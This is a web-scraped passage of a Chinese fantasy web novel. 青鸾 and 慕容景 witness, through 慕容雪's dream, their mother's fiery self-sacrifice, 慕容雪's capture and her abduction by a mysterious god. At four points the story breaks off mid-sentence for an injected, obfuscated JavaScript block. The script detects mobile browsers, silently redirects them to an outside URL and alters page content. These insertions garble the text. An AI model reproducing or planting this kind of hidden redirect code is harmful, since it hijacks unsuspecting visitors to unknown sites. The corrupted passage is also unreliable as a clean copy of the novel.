闪电带来短暂的恍如白昼的明亮,旋即又将这个世界扔给漫漫长夜,在白与黑交替的一刹那,慕容夫人飞身而出亲自驾马,与此同时捏在手里的玉牌,被她不小心落在了马车外。 保护她们的这一拨人马已经死伤殆尽,这辆马车在敌人的穷追不舍下,孤零零地向前奔驰。 慕容夫人其实也不知道,往这个方向她们能逃到哪里去,但她知道只要朝着这个方向跑,就能最大限度地将杀手引开,这是与慕容景逃跑路线截然相反的方向。 前方的路越来越崎岖,身后的刺客越来越多,她们似乎已经成为妖族的囊中之物,因此那些杀手不再如方才那般拼命追赶,而是不急不徐如逗笼中之鸟,慢慢地形成包围圈,始终与马车保持一定的距离,却刚好能让慕容雪嗅到他们身上的血腥之气。 逃不掉了。 慕容夫人猛地勒住缰绳,停下马车,回头望了一眼瑟缩在马车里的慕容雪。 那最后一眼回望,想必即便是正在追杀她们的妖族刺客,也忍不住产生一瞬的动容。 那是一个母亲对孩子的最后一眼凝望,那眼凝望里交织的情绪太过复杂,太难分辨,青鸾以为,唯有血泪二字可以形容。 慕容夫人忽然笑了,笑得那样绝望,那样凄然,那笑容里还有无法言说的愧疚,她对马车里的慕容雪说,如果可以,一定活下去。 慕容雪突然也笑了,她哑然地大笑着,看起来是那样悲伤,却依然强撑着,始终不曾掉下一滴眼泪,眼中涌出的,只有不加掩饰的失望与恨意: “母后既然选择了小景,放弃了我,又何必摆出这样一副要为了保护我而牺牲自己的姿态来?等你死了,我立马就将马车往回驶,倘若被抓住了,我就向妖族出卖小景的下落,你以为你放弃了我,就能护他周全么?” 她说得很快,胸膛随着她的声音剧烈地起伏着,她仰起头倔强地注视着慕容夫人,咬牙切齿说出那些话,听起来更像是在说服她自己。 慕容夫人张了张嘴,想解释什么,哽咽片刻却发现自己什么也解释不了,只能艰难地将所有想说的话都咽回去,半晌,道:“母亲选择了小景,但也没有放弃你。” 这是她留给慕容雪的最后一句话,说完这句话后她飞身离开,义无反顾冲向身后追杀她们的妖族刺客。 这些都是慕容景从未有过的记忆了,在他的记忆里,只依稀记得小时候曾在祭祀归途被妖族追杀,混乱中与母亲和阿姊分开,保护他的人马带着他侥幸回到了宫里,此后他再也没有见过母亲与阿姊。 那时候他还太小,不明白发生了什么,他甚至没办法组织清楚语言,将这件事情同父皇问个清楚,他只能一遍又一遍地逼自己记住,记住那个雨夜,记住那些刀光,记住那辆马车,记住被马车带走的,不知道驶到了哪里去的母亲和阿姊。 他开始习惯于守在城墙最高的瞭望台上,一守便是一个下午,等到夜色降临时,便令人点一盏灯,挂在高高的瞭望台上。 他的想法很简单,若有一日母亲和阿姊归来,看到这盏灯,也就看到了回家的路。 几个月后,华胥举办了一场国丧,那一日全城素缟,慕容景也被人从头到脚换上了白色的发饰衣衫,那天晚上他一身白衣站在城墙上,看到墨色的夜空中升起无数盏天灯,将整个皇城照得亮堂。 他什么都没有说,甚至没有哭闹,只是让随从继续将挂在瞭望台上的那盏灯点亮。 随侍在他身边的一群人齐刷刷跪下,他觉得稀奇,怎么他没有哭,他们反倒哭了。 他们哭着求他忘记那个夜晚吧,求他忘记那天晚上发生的所有事情,他们居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712363|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然在求他忘记他的母亲和阿姊。 他没有反驳他们,也不曾责怪他们,只是自己找来扶梯,摇摇晃晃地爬上去将灯点亮。 他始终在等待,等待她们归来。 他始终没有等到她们归来。 慕容雪的回忆将这一段往事补全,他看到了小时候没有机会看到的一幕,青鸾却不知道,看到这些于他而言到底是幸还是不幸。 毕竟眼前的场景令旁观者都感到一种撕心裂肺的痛,遑论其中的主角都是慕容景的至亲之人。 在这回忆织成的梦境里,他们看见慕容夫人飞离马车后,像一只振翅的蝶冲进了刺客的包围圈里,倾盆大雨已将她脸上的泪痕清洗干净,她的眼里丝毫不见方才面对慕容雪时的愧疚心痛,如今只剩决绝坚毅。 青鸾这才注意到,慕容夫人真是有一双好漂亮的眼睛,那双看起来清丽又娇柔的眼睛,此刻正酝酿着视死如归的杀意,因此便生出一种矛盾的吸引力来,令人不敢看,却又忍不住看。 “交出你儿子来,我们让你死一个痛快。”想是慕容夫人的镇定激得杀手们没办法再保持镇定,有人开始放狠话:“否则你一个娇滴滴的国主夫人,落在我们这帮被你们肆意屠杀的妖族手里,会是什么下场?断不教你痛痛快快去死!” 慕容夫人将目光移到那放狠话的人身上,冰冷地,决然地,只用一个眼神,便逼得他闭上了嘴。 “你们几时听闻过,昆仑凰鸟一族曾落入敌人之手?”慕容夫人的声音不大,一字一句说得清浅,却是掷地有声,字字泣血:“我从不曾设想过落入敌手会是何下场,四海八荒谁人不晓,凰鸟一族只知何为玉石俱焚,不知何为阶下之囚。” 原来慕容景的母亲慕容夫人竟也是青鸟一族,且还是这一族中尤为罕见的凰类,是为凰鸟血脉。 传言凰鸟心火可燃天下万物,被心火灼烧者将魂飞魄散,最可怖的是被焚烧至破碎的魂魄将堕入万劫不复之境,永世不入轮回。这令人闻风丧胆的杀招,其巨大威力所需要付出的代价,便是凰鸟自己的性命。 一旦祭出心火,那足以焚烧万物的不灭之火将从她自己的心脏开始灼烧,蔓延凰鸟周身羽翼,以她自身的血肉之躯和灵魂精魄作为养料,肆意地在天地间灼灼燃烧,让她的敌人随她一起堕入无间地狱。 这真真正正是个玉石俱焚的招数,除非被逼得走投无路,慕容夫人断不会催动此招。 然而此番,她确乎是走投无路了。 那是怎样一番奇异的景象,即便是亲眼所见,也难以用言语形容。 慕容夫人的胸膛逐渐变得透明,她的心脏上一秒还在胸腔里用力地跳动,顿了一顿后,在下一秒猛地炸裂开来。 像一簇烟花,像一捧火光,那应该是青鸾迄今为止见过的最惨烈的死法,却也是在梦里,她曾亲眼目睹过的自己的结局。她抬手捂住嘴,在手指抚上自己的脸颊时,触碰到一滴冰凉的泪。 熊熊火光里,映出慕容夫人苍白的脸,那样清丽的身姿,那样清秀的脸庞,那样惨烈的自我焚烧。 12. 青丝雪 慕容景蓦地伸出手,遥遥地伸向他站在火海深处的母亲。 有人想要阻止慕容夫人,刚一抬脚,火舌便如活物一般缠绕上来,火星子堪堪触到那人身体,便大片大片烧灼起来,瞬间将他烧成了灰烬,他甚至连痛苦的哀嚎都来不及发出,便已魂飞魄散。 场面一时间变得异常混乱,那些妖族刺客一个接一个地扑向慕容夫人,企图中断她燃烧凰鸟心火。 可这玉石俱焚的杀招,岂是那般容易被阻止的,那些扑上去企图制止的人,全都成为了这片焚世火海的养料。 那些人其实算得上幸运,因火焰吞噬生命的速度太快,他们甚至来不及反应,便在一瞬间化为了灰烬,自然也是来不及痛苦的。 但长久地立于火海深处的慕容夫人,一直在长久地忍受着烈焰焚身的痛苦。 他们已经看不大清她的面容了,慕容景挣扎着不断地靠近母亲,却也只能在那火焰的葬歌里,依稀可见她平静地闭上了眼。 不远处,小小的慕容雪也睁眼注视着这一幕,红色的火光映在她漆黑的眸子中,像一团妖异的火焰绽放在海底最深处,在那一团火焰燃烧得最为猛烈的时候,她用披风罩住自己,攥起缰绳,驾驶着马车跌跌撞撞离去。 而她离去的方向,正是慕容夫人没有走完的路,是与慕容景截然相反的方向。 慕容景痛心地唤了声阿姊。 慕容雪驾马离去的动静在这一片混乱中并不引人注目,但还是有人发现了,他们试图追赶,却被那仿佛永远燃烧不尽的火焰拦下。 也正是在这一刻,青鸾真切地感受到了仇恨的力量,慕容夫人玉石俱焚,那些杀手竟也无一人放弃,他们以肉身作为阻止火势蔓延的墙,以自己的血肉之躯作为让同伴踏出火海的桥梁。开始有人突破凰鸟心火的阻拦,腾挪着朝慕容雪离开的方向而去。 接下来发生的事情不必多说,慕容夫人以生命作为代价拦住妖族仇杀的步伐,却终究拦不住所有的人,并没有什么救世主的降临,尽管青鸾天真地如此希望着。 慕容雪的马车很快被逼停,马首被一道剑影斩下的时候,她的第一反应是更加用力地拢了拢身上的披风,将整张脸都隐藏在了披风之下。 那些追上来的妖族杀手或伤痕累累,或有同伴葬身于慕容夫人的心火,因此均是瞪着一双血红的眼,看样子不将慕容雪折磨得生不如死,是不会轻易罢休。 有些冲动的已经提刀挥上来,立时便要砍断慕容雪的脖子,再不济也要卸掉她的胳膊,方解心头之恨,却被另一帮尚存理智的人拦下:“此番活捉那慕容老儿的亲子,折损了我们多少兄弟,付出了多少代价,立马将他砍了固然解一时之恨,却于大计无异。” 想来这帮妖族杀手乃因缘际会聚集起来的,并非来自同一个组织,因此各有各的想法,登时便有人反驳道:“你有何大计?莫不会指望靠这个小子来威胁慕容止,让他废了华胥国的捉妖修仙之道吧?” 顿时一片哗然。 大家好像这才想起来,出发前并没有商量过,倘若生擒了华胥国的皇子,之后又该作何打算,此刻才纷纷探讨起这个重要议题来。 虽说这一大群妖精七嘴八舌各说各的道理,无人组织的情况下简直算是场灾难,然则青鸾还是从一片混乱中听明白了个七七八八。 从他们讨论如何处置华胥皇子这个议题的各种观点来看,这一帮妖族面对与华胥之间深仇大恨的态度,大致可分为两派,一为激进派,一为求和派。 激进派认为华胥国自从立国起便以捉妖作为基本国策,且开国之主从前便是个捉妖的臭道士,企图利用一个皇子作为威胁,令捉妖捉了几千年的华胥国就此放弃捉妖,他们认为这种想法太天真,有这种想法的妖精大抵是在人间修炼的时候将凡人的话本子看多了,八成把脑子给看坏了。 激进派中还有更为激进的,他们认为就算华胥愿意放弃坚持了千年的捉妖修仙之道,但妖族也断不能放下与华胥之间的积年仇怨,在他们眼里,整个华胥都是建立在妖族同胞们累累尸骨之上的,华胥与妖族之间的仇恨,不是毛毛雨的小打小闹,而是比九天之上的银河还难以逾越的血海深仇。 妖族所持的这两个观点,与慕容景担心的完全一致,将来即便他上位推行新政,尝试放弃以捉妖作为修仙的法门,华胥人未必愿意接受,妖族也未必会领情,他所希望的两族恩怨一笔勾销,从此妖族与华胥和平相处,这个心愿,未必会因他一方的妥协而实现。 当然了,这世上有黑便有白,天地间有阴便有阳,妖族里有激进派便有求和派。 也不乏有妖精想要利用此次契机,或以慕容景的性命作为威胁,或将他养在妖族作为质子,甚至有人提议将慕容景全须全尾地送回华胥宫中,以作为妖族求和的诚意。 毕竟他们要求的不多,他们只是想要在这天地间求一方栖息之地,他们的孩子不用自出生起便跟随父母东躲西藏,也不用自化形之日起便将刺杀华胥人作为终身使命,他们的后代所研究的不再是如何杀人更狠,而是如何在这个世界上活得自在。 无论如何,华胥与妖族之间的账是一笔积怨太深的账,岂能那么容易一笔勾销,然则有慕容景在,有妖族当中仍愿祈求和平的人在,便也令人觉得还能在这一笔笔血账中看到希望。 随着众妖讨论的话题逐渐上升到哲学的高度,大家逐渐讨论得忘我,自然也忘记了尚在他们团团包围当中的“慕容景”。 慕容雪被晾在妖怪们的包围圈中,自知是逃不出去了,却也不知小小年纪的她哪里来的这般刚毅之气,竟趁众妖辩论得情绪高涨之际,冷冷嗤笑一声,一脖子撞上她面前那妖怪拎着的弯刀。 那妖怪的确在最初时冲动了一下,想要提刀砍断慕容雪的脖子,然则经过这么一番激烈的讨论,冲动劲儿已下去了大半,突然觉得眼前这小崽子的脖子意义非常,还挺金贵,不是他想砍就能砍的。 但他不想砍的时候,偏偏这小崽子自己撞了上来,且撞得十分决绝,决绝得吓了他一大跳。 他被这么一吓,便下意识举起手中的刀来格挡,可惜此番挡住的不是敌人的明枪暗箭,而是慕容雪柔软的脖颈。 红色的血溅在刀身上的时候,他蓦地心中一凉。 看着慕容雪仰后倒下去的瞬间,他既觉得痛快,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712364|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不禁开始设想,也许千年后妖族历史中的他,将成为因破坏了妖族与华胥言和大计而被人和妖共同唾骂的反派角色,顿时感到悲凉。 这厢他还没有悲凉完,另一厢忽听同伴喊道:“我们被骗了!这小崽子居然不是慕容景!” 于是还没凉透的心又热了过来,他回神去看,这才发现一脖子撞到他刀刃上的,居然是个小姑娘。 慕容景是皇子,显然不可能是眼前这个小姑娘,他们都被骗了。 那杀手方才被吓得不轻,拎着刀的手都有些颤巍巍的,此刻发现被骗,气急败坏又把刀提了起来:“我就说,慕容景可是慕容止那老家伙唯一的儿子,怎么会这般容易被我们生擒!” 顿时有妖怪开始怒骂,华胥人是骨子里的诡计多端,从一开始便想好了主意调虎离山。 他们哪里能想到,华胥最尊贵的皇子居然没有坐在马车里,更没有想到彰显皇子身份的令牌从马车里掉出,居然也是慕容夫人故意为之。 最令他们没有想到的,还是眼前这个看起来不过十一二岁的小姑娘,竟晓得披上慕容景的披风,将自己的身形隐藏在披风里,利用慕容景残留在披风上的气味吸引他们继续追杀。 诚然他们是太过急功近利乱了心神,这才会被轻易蒙骗,但是慕容氏的心机之深还是令这帮妖怪胆寒。 都说人类城府深沉,如此看来修仙的人类城府更深,即将修炼成仙的人类恐怕是深之又深,他们不打算同慕容氏讲和了,现如今打算能杀一个是一个。 慕容雪倒在泥泞的雨地里,雨点和泥点溅在她从宫里穿出来的华服裙摆上,有血正汩汩地从脖颈伤处流出,妖怪们慷慨激昂的讨伐声听起来越来越遥远,这是她第一次真切地感受到生命的流逝。 她想,她大抵是快死了。 梦境从这一刻开始出现坍塌的迹象,青鸾稳了稳同慕容雪纠缠在一起的精神游丝,试图在这个逐渐开始分崩离析的梦境里多待片刻,直觉告诉她,这段回忆最关键的转折点即将来临。 就在梦中慕容雪阖眼的一瞬间,雨滴停止坠落,定格在了半空,好像连风也凝固了,黏稠地栖息在耳边,原本凄风苦雨的场景,霎时变得从容平和,与此同时却也带来一种不动声色的压迫感。 青鸾心中一动,这是领域的气息,传言当神修炼到了一定境界,便会在其周身气泽环绕的范围内,产生一个独属于他自己的领域。 这个领域可以说是一个以他为主的小世界,在这个小世界里,他甚至可以改变现实中的自然环境,也可以最大程度控制误入领域的人,在领域当中,他是唯一的主人。 但这毕竟只是传言,青鸾拢共也没有见过几个神,更没有机会亲眼目睹传言中的领域是何模样,况且在她见过的屈指可数的几位神君里,帝骁无疑是最有天资并且修为最深的一个,连他也不曾修炼出什么领域来,其余的神想必更不可能。 可是出现在慕容雪梦境中的这个人,随着他的到来而产生的令人忍不住屏气臣服的气息,除了领域,青鸾想不出别的解释了。 天上地下,哪位神君修炼至了可以产生领域的境界来,为何竟从未听说过? 13. 青丝雪 青鸾将自己的精神游丝凝聚在他身上,试图看清那人。 却只看得出个卓然挺拔的身形,他将自己掩于一袭黑袍当中,周身庞大的气泽氤氲缭绕,把他整个人都衬得朦朦胧胧。 青鸾分辨不出他周身的气泽来自哪家仙府,唯一能确定的是,这一身令人凛然不可直视的气息自带神君威严,绝不可能是妖气。 那么,这样强大的一位神君,何以会同妖族混在一起? 忽见他从黑色的披风中伸出一只手来,往空中虚虚一提,便将慕容雪整个拎了起来。 不知是不是那一身黑袍相衬的缘故,他的手被衬得有一种超乎寻常的白,青鸾呆呆地想,冬日里的第一抹雪也不过就这么白了。 慕容雪在他伸出手的一瞬间失去了意识,却在被他拎起来的时候,猛地睁开眼倒吸一口凉气,衣襟上还有她方才自毁时溅出的鲜血,那血犹自滚烫,脖颈上深深的伤痕却已消失得无影无踪。 是时光倒流还是起死回生,一切发生得太快,青鸾甚至来不及看清,那些妖怪自然更为惊诧。无论如何,眼前发生的这件事都太不可思议,不知是不是青鸾的错觉,她觉得那人的手好像又白了几分。 想来此人是霸道惯了的,拎起慕容雪转身就打算离开,将身边团团围住他们的妖怪全然当个摆设。 诚然他这一番出场极有气势,俨然是个招惹不得的大人物,却到底有些胆子大的妖怪,试图提醒一下慕容雪是他们的劳动成果。 他哦了一声,语调微微上扬,看起来是打算将大人物的派头做到底。 “没记错的话,慕容氏此番出城祭祀的消息,是我透露给你们的,华胥大护法意外受伤不能随行的消息,也是我透露给你们的,否则就凭你们,还指望生擒华胥皇族?”这一番话狠狠打了妖族们的脸,顿了顿,他又给了颗枣: “把她交给我,十三年后,还你们一个新的慕容雪,一个足以搅乱华胥,令整个华胥不得安宁的慕容雪。” 青鸾转头望了望慕容景,想问问他华胥祖上是否曾招惹过什么大人物,真不晓得有什么仇怨,这也忒狠了点,但见他也一脸茫然的样子,于是还没问出口的话又囫囵咽了回去。 那些妖怪不知是出于畏惧,还是品了品那人的话觉得他说得颇有道理,总之他们任由他将慕容雪带走了。 而就在被他带走的这一刻,慕容雪的梦魇才刚刚开始。 青鸾察觉到不对,立马施法护住自己与慕容景的精神游丝,与此同时梦境轰然坍塌,周遭景物都没入了无边黑暗当中。 他们好似坠入了深海,无数条纷乱的丝线在海底游曳,散发着浅浅的金色光芒,那是三人的精神游丝,在无意识的海洋里不分彼此地纠缠。 片刻后,海底最深处传来一抹亮光,亮光里依稀可见一些虚幻的影子,在破碎残缺的幻影里,他们看见慕容雪被囚禁在一个狭窄的暗室,手脚皆被束缚,有人在一碗接一碗地灌她喝什么东西。 慕容景微微一颤,想要往她的方向而去,却被青鸾拦住。 他有些急切地道:“阿姊定是在被那人折磨,这是困住她的梦魇,我想带她离开。” 青鸾摇了摇头,她感受到有一股极为排斥她的力量正在升起,那是慕容雪的意识,想必是她潜意识里察觉到了旁人的精神游丝,如今她正凭借着自己的力量醒转,醒来的第一件事,势必便是驱逐或者吞噬侵入她精神领域的窥探者。 “你阿姊比我们想象的坚强,不需要谁去拯救,她自己就能醒来,反倒是我们,须得尽快离开,否则有神思涣散的危险。”青鸾一边解释着,一边携着慕容景,以最快的速度离开慕容雪的精神领地。 慕容景听了青鸾的解释后,不再执拗,一言不发地跟随她离去,只是在离开的时候忍不住一再回头,望一眼再望一眼。 梦境正在坍塌,意识也在剥离,有一些残缺不全的记忆碎片,一幕幕在慕容景眼前闪过。 他看见慕容雪被囚在那个暗室里,日复一日被灌着汤药,昏暗中看不清碗里盛着什么,只闻到有浓烈的血腥味在碗沿徘徊。 再后来,似乎在慕容雪稍微长大些后,她终于不再成日地被囚禁在暗室里,然而离开了那间暗室,迎接她的并不是阳光,却是无数刀光剑影。 她果然杀过很多人,也被很多人追杀,之后数年光景,盘桓在她记忆里的场景,除了血腥的屠戮,竟再没有其他色彩。 她受过各种各样的伤,好几次危及性命,与她曾经受过的那些伤相比,此次同十三杀交手所受的伤,看起来竟不算什么了。 慕容景不忍再看,阖上眼任由青鸾带着自己离开慕容雪的梦境。 青鸾却忍不住思索,那将她拐走的神秘人扬言十三年后将还给妖族一个新的慕容雪,一个令华胥不得安宁的慕容雪,而在这数十年间,他似乎将慕容雪当作一个冷血的杀手在培养,难道他的本意是想令慕容雪以一个杀手的身份归来,想让她刺杀慕容景么? 可若是如此,慕容雪又何以在十日前的宴席上对慕容景舍命相护?亦或者是做了那么多年的杀人机器,在面对胞弟时她终于还是不忍下手,动了恻隐之心? 这一切都太古怪了。 从慕容雪的梦境中出来,青鸾睁开眼吐了口气,只觉头痛欲裂,侧首望向床榻上的慕容雪,见她微微蹙起眉头,果然是要醒转的模样。 便在此时,青鸾脑子里轰然一响,一个她在梦境中无意瞥见的画面倏忽闪过,与此同时,一个不可思议的揣测在她脑海中乍现。 难道这无法解释的一切,其实都与空桑之雪有关? 想到这一层,她决定不要轻举妄动了,此事须得慎重再慎重,于是敛了向慕容景询问空桑之事的想法,打算继续观察,静观其变。 然而接下来很长一段时间华胥都十分平静,并没有什么值得关注的变化,慕容雪在青鸾二人窥探她梦境的当天晚上彻底醒转,醒来之后便安安静静地躺着养伤,并不主动同人说话,有人主动同她说话也从来得不到回应。 都说养病养伤需得静养,慕容雪何止是静,偌大的寝宫里几十号人,平日里竟闻不见一句人语,也不知是不是这个缘故,她痊愈得极快,又过了十日,便已能下地了。 然则她虽已能下地,却也从不踏出寝殿半步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712365|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就只是往窗前的美人靠上轻轻一倚,然后便望着窗外慕容景特为她植的梅树,常常一望就是大半天。 慕容景很担心她憋坏自己,又想不出什么能为她解闷的方法,后来也不知是哪个鬼才给他出了个主意,说慕容雪极喜梅花,想来是她宫中的梅花太少因此她才觉得寂寥,不若在她宫中再多栽些梅花,说不定能讨她欢喜。 青鸾觉得这主意离谱,原本慕容雪就不爱出门散步,总是窝在殿里看那几树梅花,若再多栽一些,她岂不是住在梅花堆里更不爱出门了? 更离谱的是慕容景居然听信了那鬼才的话,几乎将整个华胥宫中的梅树都移栽到了慕容雪殿里去,于是一夜之间她的寝宫梅香冲鼻,远远望去倒像是一片自然形成的梅花林,不像是人住的寝殿了。 结果也正如青鸾所料,自从慕容景将梅树都移到慕容雪宫里去后,她愈发的不爱出门了,望着窗外梅花的时间也愈发的长,从前是一望大半天,现如今一望竟是一整天。 再这样下去,怕是真要闷出什么病来,纵然身体上没有得病,假使得些心理上的病,那也是极不好的。 看得出慕容景为此很是苦恼,但他想不出什么好的法子来逗慕容雪开心了。 分别了十几年,他完全不了解现在的慕容雪,而慕容雪待他,也全然不是从前的光景了。 从前他们是怎样的光景呢? 某天夜里青鸾在宫里溜达,看见慕容景独自站在城墙最高的瞭望台上,那是他小时候夜夜来点灯,祈盼母亲和阿姊归来的地方。 青鸾觉得他一个人站在那里,瞭望台那样高,夜色又那样黑,他却没有点灯,而是将自己全然地笼在夜色里,那身影好孤寂。 于是飞上去与他作了会儿伴,也就有机会听他说了说小时候与慕容雪一起长大的光景。 听他说起那些往事,青鸾才知慕容景儿时竟是个跳脱活泼爱闯祸的性子,今日砸了父皇书房摆了上百年的瓷器,明日拔了花园里母后精心栽了几十年的昆仑雪莲,不是爬树钻狗洞,便是下池塘里捉蝌蚪,总将自己弄得脏兮兮的,一身衣袍从来就没干净过。 自然是要受到父母责骂的,然而慕容雪总是不忍,每每替他将罪责担了,就说是她拉着弟弟去爬树的,也是她拽着弟弟下池塘的,总之她是做姐姐的,替弟弟受一些罚在她看来似乎是情理之中。 有次慕容景的玩笑开得大了,自己制了些机关巧术,藏在慕容雪回寝宫的必经之路,想要吓她一吓,顺便显摆一下自己新学的机关术,却没想到慕容雪毫不设防,他制的那些机关又只知放不知收,竟将她的衣衫划破,木制的刀片飞速划过她的胳膊,生生划出好大一道伤痕。 慕容景又急又怕,冲出来向慕容雪认错,除了认错却也不知还能怎么办了,便只是抱住慕容雪一个劲地哭。 慕容夫人闻讯赶来,没想到慕容雪仍一口将此事担了,说是她与小景闹着玩,自己不注意脚下,这才滑了一跤将自己伤了。 长大后的慕容景向青鸾回忆起这一幕,一边说着,一边很认真地注视着眼前的一团夜色,也不知那夜色里有什么,瞧得他目光沉沉。 14. 青丝雪 “那时我不懂,还以为阿姊天生便比我勇敢,是从来不怕受罚的,现如今才晓得,其实是因为她爱护我。想必真正爱护一个人就是如此,即便那人闯祸伤到了她,她也不忍心看他受罚,无论如何总想替他担下责任。” 慕容景这番话说得真诚,青鸾听着深以为然,认为确实是这么个道理。 “我从前有个至交好友也是如此,每每我闯下祸端,总是他替我担下罪责。有次他为我制了个匕首,因那匕首上是施了咒的,我须得先向他学会御咒才行,可我瞧那匕首好看,自作主张尝试破咒,匕首失控冲向我时,是他替我挡下了,为此他还受了伤。” 说到这里青鸾的声音有些颤抖,不论过去多久,每当她回忆起这桩往事时,心脏都会不自觉漏跳一拍。 那时候匕首离她的面门只有几寸远,她呆在原地居然忘了闪避,帝宣想必也是慌了神,顾不得拈诀施法,飞身扑过来生生用手握住了匕首。 血顺着他的指缝往下淌,他却顾不上自己,只是一味紧张着她,切声地问她有没有受伤。 她毫发未损,看起来却比受了伤的帝宣还要痛苦还要难过,抚住他的胳膊失声地哭,埋下脑袋把眼泪啪嗒啪嗒甩在帝宣的衣袖上,被帝宣嘲笑哭得像条蚯蚓。 帝宣向来喜欢这种无厘头的比喻,譬如在青鸾人逢喜事精神爽的时候,会笑着说她欢喜得像颗圆润的桃子,在她死活学不会某个简单的术法时,板着脸说她笨得像个灰扑扑的地瓜,以往这种时候青鸾都会打破砂锅问到底,非要缠着帝宣说出个所以然来不可。 到底为什么她高兴的时候像桃子,笨拙的模样像地瓜,她便是想破了脑袋也想不出这些奇怪的比喻之间到底有何关联,且实在没法子不在意,像桃子便像桃子吧,何以还是颗圆润的桃子? 然而那次帝宣形容她哭得像蚯蚓,她却哽咽着一句话都问不出来了,抽抽嗒嗒间看见她滴在帝宣袖上的泪痕,恍然觉得那些泪痕的确很像蚯蚓,彼时她虽然哭得十分伤心,却还是在专心啜泣之余,分出神来想了想,原来每次帝宣那些奇怪的比喻,并不是无厘头的,竟然是有根据的。 想来因着母子连心,帝宣受伤不到一刻钟,尚在宽慰慌张落泪的青鸾,焕鸢夫人便已从天上的仙府杀到,在看见帝宣掌心深可见骨的伤痕时,她的面色沉了一沉,转头看见缩到一旁哭得皱皱巴巴的青鸾时,她的面色已经沉得堪比九重天上墨汁一般黑得透亮的夜色了。 帝宣转而安慰母亲,这种程度的刀伤,即使伤得再深,也不过是皮肉之伤而已,于他而言根本无碍,况且是他自己试用新锻造出来的匕首时,不小心误伤了自己,怨不得旁人。 听他这样说,焕鸢夫人这才将锁定在青鸾身上的目光收了回来。 青鸾毫不怀疑,倘若让焕鸢夫人知道是她将帝宣伤成这样,恐怕这位夫人立时便要同自己拼命。 想来那时候的帝宣之于她,便如小时候的慕容雪之于慕容景,不仅仅是身边亲近的人,某种程度来说他已经抽象化为一种安全感,一种让她肆意任性的底气。 “我那位好友,他当真是极好的。”青鸾从回忆中抽身,吸了吸鼻子道:“他同你阿姊一样,分明是我伤了他,他却替我担了罪责,想来这样敢于担责袒护他人的人,即便经历了一些不堪往事,纵使物是人非,他的赤诚之心也是永远不变的,我深信我的朋友是这样,相信你的阿姊也是这样。” 显然慕容景因着青鸾的这一番安慰,心里好受了许多,他深深地舒了口气,好像将多日的烦忧都吐进了夜色里。 他仍旧立在那里,立在小时候无数次为母亲和阿姊点灯的瞭望台上,整个人却显得不那么萧索,不那么孤寂了。 慕容雪宫中的小宫女便是在这时候寻到城墙上来的,小姑娘八成将整个华胥宫中都走了一遭,才终于在这个寻常人意想不到的地方找见了慕容景,恭恭敬敬行了个礼,说是公主在寝宫梅花林处备了些薄酒,请慕容景前去叙叙旧。 慕容景当即应了,与青鸾告辞后便急匆匆随那宫女而去,他面上虽瞧不出什么来,轻快的步伐却掩不住雀跃。 青鸾想了想,变回原身,化作一只青色的鸟,扑腾扑腾翅膀跟在慕容景的身后,随他一起往慕容雪寝宫的梅花林而去。 今晚没什么月色,着实黑得深沉,几盏宫灯立在梅花林的深处,映着一团团簇在一起的梅花,散发出浅浅的光晕,一切都是朦朦胧胧的,包括慕容雪脸颊上淡淡的绯红。 想来她在等待慕容景的时候自己饮了些酒,待慕容景赶到时,她已喝得薄醉,倾斜身子靠着石桌,一手支颐,一手抚着桌上的酒杯轻轻摩挲。 见慕容景来了,她似乎是笑了笑,没有起身,径直将手中的酒杯递给他。 朦胧光晕里,杯中的酒泛着涟漪,慕容雪的手腕白得有点不真实,再加上她的目光里有一种非亲非疏的迷离,便显得这一幕场景似真似幻,教人觉得犹在梦里。 慕容景怔了一下,旋即将酒接过来饮了,不待他开口说话,她又将一杯斟得满满的酒递到他的面前。 慕容景这才意识到,她主动寻他饮酒,却并不是为了叙旧。 眸中的光彩霎时灭了,他微微垂下眼帘,没有多问,一杯接一杯地将她递过来的酒都饮尽。 不知饮了多少杯,小宫女托着碟子前来送酒,送了一轮又一轮,慕容景终于支撑不住,矮身跌坐在石凳上,皱着眉头,举着酒杯开始自斟自饮。 他似乎想要将自己灌醉,分明已经醉得狠了,却还是强撑着一杯一杯地喝。 慕容雪不说话,就坐在一旁看着,微微歪着脑袋,脸上一如既往没有情绪。 在慕容景饮完壶中最后一滴酒,抬手想要唤小宫娥再添几壶时,她终于动了动神色,然后抬手压住了慕容景的手。 慕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 